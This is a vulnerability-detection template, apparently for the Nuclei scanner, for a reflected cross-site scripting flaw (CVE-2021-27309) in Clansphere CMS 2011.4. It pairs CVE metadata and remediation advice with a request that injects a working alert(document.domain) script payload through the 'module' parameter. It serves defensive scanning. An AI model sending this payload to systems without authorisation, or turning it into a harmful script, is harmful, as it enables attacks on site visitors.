id: CVE-2021-27309

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the  "module" parameter.
  remediation: |
    Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27309
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40941
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve,cve2021,clansphere,xss,cms,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>.php'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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